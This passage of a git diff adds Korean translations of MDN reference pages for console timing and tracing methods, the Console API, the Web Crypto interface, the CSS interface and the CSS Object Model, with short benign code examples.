+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#time", "console.time()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.time")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Console.timeEnd()")}}</li>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/timeend/index.html b/files/ko/web/api/console/timeend/index.html
new file mode 100644
index 0000000000..d9bc7674e5
--- /dev/null
+++ b/files/ko/web/api/console/timeend/index.html
@@ -0,0 +1,68 @@
+---
+title: Console.timeEnd()
+slug: Web/API/Console/timeEnd
+tags:
+ - 디버깅
+ - 웹 개발
+ - 웹 콘솔
+ - 콘솔
+ - 타이머
+translation_of: Web/API/Console/timeEnd
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>이전에 {{domxref("console.time()")}}를 호출하여 시작된 타이머를 중지하고 <a href="/ko/docs/도구들/Web_Console">웹 콘솔</a>에 경과 시간을 밀리초 단위로 표시합니다.</div>
+
+<div> </div>
+
+<div>자세한 내용과 예제는 <strong>콘솔</strong> 문서의 <a href="/ko/docs/Web/API/console#Timers">Timers</a>를 참조하세요.</div>
+
+<div> </div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문(Syntax)">구문(Syntax)</h2>
+
+<pre class="syntaxbox">console.timeEnd(<em>label</em>);
+</pre>
+
+<h3 id="매개_변수(Parameters)">매개 변수(Parameters)</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>중지할 타이머의 이름입니다. console.time()를 호출할 때의 이름을 사용하여 해당 타이머를 중지할 수 있는 식별자 역할을 합니다.</dd>
+</dl>
+
+<h2 id="명세서(Specifications)">명세서(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#timeend", "console.timeEnd()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성(Browser_compatibility)">브라우저 호환성(Browser compatibility)</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.timeEnd")}}</p>
+</div>
+
+<h2 id="함께_보기(See_also)">함께 보기(See also)</h2>
+
+<ul>
+ <li>{{domxref("console.time()")}}</li>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/trace/index.html b/files/ko/web/api/console/trace/index.html
new file mode 100644
index 0000000000..2726eca0d4
--- /dev/null
+++ b/files/ko/web/api/console/trace/index.html
@@ -0,0 +1,77 @@
+---
+title: console.trace()
+slug: Web/API/Console/trace
+tags:
+ - API
+ - DOM
+ - Firefox
+ - 디버깅
+ - 메소드
+ - 웹 개발
+ - 웹 콘솔
+ - 추적
+ - 콘솔
+ - 크롬
+translation_of: Web/API/Console/trace
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><a href="/en-US/docs/Tools/Web_Console">웹 콘솔</a>에 스택 추적을 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>자세한 내용과 예제는 {{domxref("console")}} 내의 <a href="/ko/docs/Web/API/console#Stack_traces">스택 추적</a>을 확인하세요.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.trace();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">function foo() {
+ function bar() {
+ console.trace();
+ }
+ bar();
+}
+
+foo();
+</pre>
+
+<p>콘솔에 다음과 같은 추적이 표시됩니다.</p>
+
+<pre>bar
+foo
+&lt;anonymous&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#trace", "console.trace()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.trace")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/warn/index.html b/files/ko/web/api/console/warn/index.html
new file mode 100644
index 0000000000..b63bb925db
--- /dev/null
+++ b/files/ko/web/api/console/warn/index.html
@@ -0,0 +1,70 @@
+---
+title: Console.warn()
+slug: Web/API/Console/warn
+tags:
+ - API
+ - DOM
+ - 디버깅
+ - 메소드
+ - 웹 개발
+ - 웹 콘솔
+translation_of: Web/API/Console/warn
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>웹 콘솔에 경고 메시지를 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>{{Note("Firefox에서는 웹 콘솔의 경고 옆에 작은 느낌표 아이콘이 나타납니다.")}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.warn(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.warn(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="파라미터">파라미터</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 입력한 순서대로 함께 출력됩니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 안의 문자열을 대체하기 위한 JavaScript 객체. 출력의 형식을 추가로 제어할 수 있게해줍니다.</dd>
+</dl>
+
+<p>자세한 내용은 {{domxref("console")}} 문서 내 <a href="/ko/docs/Web/API/console#Outputting_text_to_the_console">콘솔에 텍스트를 출력하기</a>를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#warn", "console.warn()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.warn")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/ko/web/api/console_api/index.html b/files/ko/web/api/console_api/index.html
new file mode 100644
index 0000000000..54760b8f78
--- /dev/null
+++ b/files/ko/web/api/console_api/index.html
@@ -0,0 +1,76 @@
+---
+title: Console API
+slug: Web/API/Console_API
+tags:
+ - API
+ - Console API
+ - Overview
+ - console
+ - 로그
+ - 로깅
+ - 콘솔
+translation_of: Web/API/Console_API
+---
+<div>{{DefaultAPISidebar("Console API")}}</div>
+
+<p><span class="seoSummary"><strong>Console API</strong>는 코드의 특정 지점에서 값이나 변수를 기록하고, 작업의 소요 시간을 알아내는 등 개발자가 사용할 수 있는 디버깅 기능을 제공합니다.</span></p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>Console API는 사유 API로 시작하였으며, 브라우저가 각자 다른 구현을 했습니다. 이후 <a href="https://console.spec.whatwg.org/">Console API 명세</a>가 만들어져 일관적인 동작 방식을 정의하였으며, 결국 모든 최신 브라우저가 같은 동작을 따르게 되었습니다. 그러나 일부 구현체는 여전히 자신만의 사유 함수를 가지고 있습니다. 다음 링크에서 알아보세요.</p>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools implementation</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari DevTools implementation</a></li>
+</ul>
+
+<p>사용은 매우 간단합니다. {{domxref("Window.console")}}, 워커에서는 {{domxref("WorkerGlobalScope.console")}}, 아니면 그냥 <code>console</code>로 접근 가능한 {{domxref("console")}} 객체는 브라우저의 <a href="/ko/docs/Tools/Web_Console">웹 콘솔</a>에 값을 기록하는 등 기초적인 디버깅 작업에 사용할 수 있는 메서드를 제공합니다.</p>
+
+<p>가장 자주 쓰이는 메서드는 {{domxref("console.log()")}}이며, 변수의 값을 기록할 때 사용합니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("console")}}</dt>
+ <dd>로깅, 스택 추적, 타이머, 카운터 등 기초적인 디버깅 기능을 제공합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let myString = 'Hello world';
+
+// Output "Hello world" to the console
+console.log(myString);</pre>
+
+<p>{{domxref("console")}} 문서의 <a href="/ko/docs/Web/API/Console#예제">예제</a> 항목에서 더 많은 예제를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Console API')}}</td>
+ <td>{{Spec2('Console API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Tools">Firefox Developer Tools</a></li>
+ <li><a href="/ko/docs/Tools/Web_Console" title="Web Console">Web Console</a> — how the Web Console in Firefox handles console API calls</li>
+ <li><a href="/ko/docs/Tools/Remote_Debugging">Remote debugging</a> — how to see console output when the debugging target is a mobile device</li>
+</ul>
diff --git a/files/ko/web/api/crypto/getrandomvalues/index.html b/files/ko/web/api/crypto/getrandomvalues/index.html
new file mode 100644
index 0000000000..4bf373c855
--- /dev/null
+++ b/files/ko/web/api/crypto/getrandomvalues/index.html
@@ -0,0 +1,73 @@
+---
+title: Crypto.getRandomValues()
+slug: Web/API/Crypto/getRandomValues
+tags:
+ - API
+ - Cryptography
+ - Method
+ - Reference
+translation_of: Web/API/Crypto/getRandomValues
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p><code><strong>Crypto.getRandomValues()</strong></code><strong> </strong>함수는 암호학적으로 강력한 수준의 임의의(random) 값을 생성합니다. 매개 변수로 제공된 배열은 임의의 숫자로 채워집니다 (암호화의 의미는 무작위입니다).</p>
+
+<p>충분한 성능을 보장하기 위해 구현에서는 진정한 난수 생성기(pseudo-random number)를 사용하지 않지만 충분한 엔트로피가있는 값으로 시드 된 의사 난수 생성기를 사용하고 있습니다. 사용 된 유사난수 생성기(pseudorandom number generator, PRNG)는 구현마다 다르지만 암호화 용도에 적합합니다. 시스템 수준의 엔트로피 소스처럼 충분한 엔트로피가있는 시드를 사용하려면 구현이 필요합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>cryptoObj</em>.getRandomValues(<em>typedArray</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>typedArray</em></code></dt>
+ <dd>Is an integer-based {{jsxref("TypedArray")}}, that is an {{jsxref("Int8Array")}}, a {{jsxref("Uint8Array")}}, an {{jsxref("Int16Array")}}, a {{jsxref("Uint16Array")}}, an {{jsxref("Int32Array")}}, or a {{jsxref("Uint32Array")}}. 배열의 모든 요소는 임의의 숫자로 재정의됩니다.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>A {{exception("QuotaExceededError")}} {{domxref("DOMException")}} is thrown if the requested length is greater than 65536 bytes.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">/* window.crypto.getRandomValues 를 사용가능하다고 가정한다. */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("나의 행운의 숫자들:");
+for (var i = 0; i &lt; array.length; i++) {
+ console.log(array[i]);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}</td>
+ <td>{{Spec2('Web Crypto API')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Crypto.getRandomValues")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} to get a {{domxref("Crypto")}} object.</li>
+ <li>{{jsxref("Math.random")}}, a non-cryptographic source of random numbers.</li>
+</ul>
diff --git a/files/ko/web/api/crypto/index.html b/files/ko/web/api/crypto/index.html
new file mode 100644
index 0000000000..759b7c045d
--- /dev/null
+++ b/files/ko/web/api/crypto/index.html
@@ -0,0 +1,35 @@
+---
+title: Crypto
+slug: Web/API/Crypto
+translation_of: Web/API/Crypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p><code><strong>Crypto</strong></code> 인터페이스는 현재 환경에서 사용 가능한 기본적인 암호화 기법을 제공합니다. 이 인터페이스를 통해 암호학적으로 강력한 무작위 숫자 생성기나 암호화에 필요한 기본 요소에 접근할 수 있습니다.</p>
+
+<p>이 인터페이스 객체는 {{domxref("Window.crypto")}} 속성을 통해 웹에서 사용 가능합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}</dt>
+ <dd>해싱, 서명, 암호화, 복호화같은 암호화 기법에 필요한 공통 요소들에 접근할 수 있는 객체를 반환.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.</em></p>
+
+<dl>
+ <dt>{{ domxref("RandomSource.getRandomValues()") }}</dt>
+ <dd>넘겨받은 {{ jsxref("TypedArray") }}를 암호학적으로 무작위인 값으로 채움.</dd>
+ <dt>
+ <h2 id="더보기">더보기</h2>
+
+ <ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+ </ul>
+ </dt>
+</dl>
diff --git a/files/ko/web/api/crypto/subtle/index.html b/files/ko/web/api/crypto/subtle/index.html
new file mode 100644
index 0000000000..a3e0e6e40c
--- /dev/null
+++ b/files/ko/web/api/crypto/subtle/index.html
@@ -0,0 +1,36 @@
+---
+title: Crypto.subtle
+slug: Web/API/Crypto/subtle
+translation_of: Web/API/Crypto/subtle
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p><strong><code>Crypto.subtle</code></strong> 은 읽기전용 속성이며 암호화 기법을 수행할 수 있는 {{domxref("SubtleCrypto")}} 객체를 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}</td>
+ <td>{{ Spec2('Web Crypto API') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Crypto.subtle")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}}.</li>
+ <li>{{domxref("SubtleCrypto")}}.</li>
+</ul>
diff --git a/files/ko/web/api/css/index.html b/files/ko/web/api/css/index.html
new file mode 100644
index 0000000000..1b36fb9573
--- /dev/null
+++ b/files/ko/web/api/css/index.html
@@ -0,0 +1,81 @@
+---
+title: CSS
+slug: Web/API/CSS
+tags:
+ - API
+ - CSSOM
+ - Interface
+ - Painting
+ - Reference
+translation_of: Web/API/CSS
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p><code><strong>CSS</strong></code> 인터페이스는 유용한 CSS 관련 메서드를 가집니다. <code>CSS</code> 인터페이스는 정적 속성과 메서드만 가지고 있으며 아무런 객체도 <code>CSS</code> 인터페이스를 구현하지 않습니다. </p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>CSS 인터페이스는 유틸리티 인터페이스이며, 이러한 형식의 어떠한 객체도 만들수 없으며 오직 정적 속성으로만 정의할 수 있습니다.</em></p>
+
+<h3 id="정적_속성">정적 속성</h3>
+
+<dl>
+ <dt>{{domxref("CSS.paintWorklet")}} {{experimental_inline}} {{SecureContext_Inline}}</dt>
+ <dd>페인팅(painting)에 관련된 모든 클래스를 지닌 워크렛(worklet)에 접근할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<h3 id="정적_메서드">정적 메서드</h3>
+
+<dl>
+ <dt>{{domxref("CSS.registerProperty()")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/--*">사용자 지정 CSS 속성</a>을 등록하고 속성 자료형 검사, 기본값, 상속 여부 등을 설정할 수 있습니다.</dd>
+ <dt>{{domxref("CSS.supports()")}}</dt>
+ <dd>매개변수로 주어진 속성-값 쌍 또는 조건의 지원 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("CSS.escape()")}} {{experimental_inline}}</dt>
+ <dd>CSS 선택자로 사용할 문자열을 이스케이프해서 반환합니다.</dd>
+ <dt>{{domxref("CSS.factory_functions", "CSS 팩토리 함수", "", 1)}}</dt>
+ <dd>매개변수로 지정한 값을 담은 새로운 {{domxref("CSSUnitValue")}}를 생성합니다. 단위는 팩토리 함수의 이름입니다.</dd>
+ <dd>
+ <pre class="notranslate">CSS.em(3) // CSSUnitValue {value: 3, unit: "em"}</pre>
+ </dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Painting API','#dom-css-paintworklet','paintWorklet')}}</td>
+ <td>{{Spec2('CSS Painting API')}}</td>
+ <td><code>paintWorklet</code> 정적 속성 추가</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSSOM', '#the-css.escape()-method', 'CSS')}}</td>
+ <td>{{Spec2('CSSOM')}}</td>
+ <td><code>escape()</code> 정적 메서드 추가</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}</td>
+ <td>{{Spec2('CSS3 Conditional')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지에 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 이 데이터에 공헌하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인한 다음에 요청을 보내주십시오.</div>
+
+<p>{{Compat("api.CSS")}}</p>
diff --git a/files/ko/web/api/css_object_model/index.html b/files/ko/web/api/css_object_model/index.html
new file mode 100644
index 0000000000..53ffb2439a
--- /dev/null
+++ b/files/ko/web/api/css_object_model/index.html
@@ -0,0 +1,189 @@
+---
+title: CSS 객체 모델 (CSSOM)
+slug: Web/API/CSS_Object_Model
+tags:
+ - API
+ - CSSOM
+ - Overview
+ - Reference
+translation_of: Web/API/CSS_Object_Model
+---
+<p>{{DefaultAPISidebar('CSSOM')}}</p>
+
+<p><strong>CSS Object Model</strong>은 JavaScript에서 CSS를 조작할 수 있는 API 집합입니다. HTML 대신 CSS가 대상인 DOM이라고 생각할 수 있으며, 사용자가 CSS 스타일을 동적으로 읽고 수정할 수 있는 방법입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("AnimationEvent")}}</li>
+ <li>{{DOMxRef("CaretPosition")}}</li>
+ <li>{{DOMxRef("CSS")}}</li>
+ <li>{{DOMxRef("CSSCharsetRule")}}</li>
+ <li>{{DOMxRef("CSSConditionRule")}}</li>
+ <li>{{DOMxRef("CSSCounterStyleRule")}}</li>
+ <li>{{DOMxRef("CSSFontFaceRule")}}</li>
+ <li>{{DOMxRef("CSSFontFeatureValuesMap")}}</li>
+ <li>{{DOMxRef("CSSFontFeatureValuesRule")}}</li>
+ <li>{{DOMxRef("CSSGroupingRule")}}</li>
+ <li>{{DOMxRef("CSSImportRule")}}</li>
+ <li>{{DOMxRef("CSSKeyframeRule")}}</li>
+ <li>{{DOMxRef("CSSKeyframesRule")}}</li>
+ <li>{{DOMxRef("CSSMarginRule")}}</li>
+ <li>{{DOMxRef("CSSMediaRule")}}</li>
+ <li>{{DOMxRef("CSSNamespaceRule")}}</li>
+ <li>{{DOMxRef("CSSPageRule")}}</li>
+ <li>{{DOMxRef("CSSRule")}}</li>
+ <li>{{DOMxRef("CSSRuleList")}}</li>
+ <li>{{DOMxRef("CSSStyleDeclaration")}}</li>
+ <li>{{DOMxRef("CSSStyleSheet")}}</li>
+ <li>{{DOMxRef("CSSStyleRule")}}</li>
+ <li>{{DOMxRef("CSSSupportsRule")}}</li>
+ <li>{{DOMxRef("CSSVariablesMap")}}</li>
+ <li>{{DOMxRef("CSSViewportRule")}}</li>
+ <li>{{DOMxRef("ElementCSSInlineStyle")}}</li>
+ <li>{{DOMxRef("FontFace")}}</li>
+ <li>{{DOMxRef("FontFaceSet")}}</li>
+ <li>{{DOMxRef("FontFaceSetLoadEvent")}}</li>
+ <li>{{DOMxRef("GeometryUtils")}}</li>
+ <li>{{DOMxRef("GetStyleUtils")}}</li>
+ <li>{{DOMxRef("LinkStyle")}}</li>
+ <li>{{DOMxRef("MediaList")}}</li>
+ <li>{{DOMxRef("MediaQueryList")}}</li>
+ <li>{{DOMxRef("MediaQueryListEvent")}}</li>
+ <li>{{DOMxRef("MediaQueryListListener")}}</li>
+ <li>{{DOMxRef("Screen")}}</li>
+ <li>{{DOMxRef("StyleSheet")}}</li>
+ <li>{{DOMxRef("StyleSheetList")}}</li>
+ <li>{{DOMxRef("TransitionEvent")}}</li>
+</ul>
+</div>
+
+<p>여러 다른 인터페이스도 CSSOM-related 규격에 의해 확장됩니다 : {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.</p>
+
+<h3 id="CSS_Typed_Object_Model" name="CSS_Typed_Object_Model">CSS 자료형 객체 모델 {{experimental_inline}}</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("CSSImageValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSKeywordValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathInvert")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathMax")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathMin")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathNegate")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathProduct")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathSum")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMatrixComponent")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSNumericArray")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSNumericValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSPerspective")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSPositionValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSRotate")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSScale")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSSkew")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSSkewX")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSSkewY")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSStyleValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSTransformComponent")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSTransformValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSTranslate")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSUnitValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSUnparsedValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSVariableReferenceValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("StylePropertyMap")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("StylePropertyMapReadOnly")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="자습서">자습서</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAPI/Managing_screen_orientation">화면 방향 관리</a></li>
+</ul>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS Typed OM")}}</td>
+ <td>{{Spec2("CSS Typed OM")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS Painting API")}}</td>
+ <td>{{Spec2("CSS Painting API")}}</td>
+ <td>Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSSOM View")}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td>Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSSOM")}}</td>
+ <td>{{Spec2("CSSOM")}}</td>
+ <td>Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Screen Orientation")}}</td>
+ <td>{{Spec2("Screen Orientation")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Fonts")}}</td>
+ <td>{{Spec2("CSS3 Fonts")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Animations")}}</td>
+ <td>{{Spec2("CSS3 Animations")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Transitions")}}</td>
+ <td>{{Spec2("CSS3 Transitions")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Variables")}}</td>
+ <td>{{Spec2("CSS3 Variables")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Conditional")}}</td>
+ <td>{{Spec2("CSS3 Conditional")}}</td>
+ <td>Defined the {{DOMxRef("CSS")}} interface.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Device")}}</td>
+ <td>{{Spec2("CSS3 Device")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Counter Styles")}}</td>
+ <td>{{Spec2("CSS3 Counter Styles")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Style")}}</td>
+ <td>{{Spec2("DOM2 Style")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">문서 객체 모델 (DOM)</a></li>
+ <li><a href="/ko/docs/Web/Houdini/">CSS Houdini</a></li>
+</ul>
diff --git a/files/ko/web/api/cssmediarule/index.html b/files/ko/web/api/cssmediarule/index.html
new file mode 100644
index 0000000000..b386fbb083
--- /dev/null
+++ b/files/ko/web/api/cssmediarule/index.html
@@ -0,0 +1,70 @@
+---
+title: CSSMediaRule
+slug: Web/API/CSSMediaRule
+tags:
+ - API
+ - CSSOM
+ - Interface
+ - Reference
+translation_of: Web/API/CSSMediaRule
+---
+<div>{{APIRef("CSSOM")}}</div>
+
